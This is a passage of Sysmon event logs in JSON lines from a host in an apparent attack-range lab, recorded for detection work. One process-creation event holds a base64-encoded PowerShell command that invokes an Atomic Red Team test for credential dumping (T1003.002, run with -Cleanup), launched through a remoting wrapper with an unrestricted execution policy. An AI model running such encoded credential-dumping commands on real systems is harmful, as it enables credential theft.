WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-4171-5F2D-0000-00100E8D0800}\r\nParentProcessId: 4580\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.281","ProcessGuid":"{90617006-4173-5F2D-0000-0010ABA40800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-4171-5F2D-0000-00100E8D0800}","ParentProcessId":"4580","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5728,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.275\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-00100E8D0800}\r\nSourceProcessId: 4580\r\nSourceThreadId: 2816\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|UNKNOWN(00007FF8EA448890)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.275","SourceProcessGUID":"{90617006-4171-5F2D-0000-00100E8D0800}","SourceProcessId":"4580","SourceThreadId":"2816","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","TargetProcessId":"2512","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|UNKNOWN(00007FF8EA448890)","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5729,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5730,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5731,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.275\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.275","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","TargetProcessId":"2512","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5732,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5733,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5734,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+594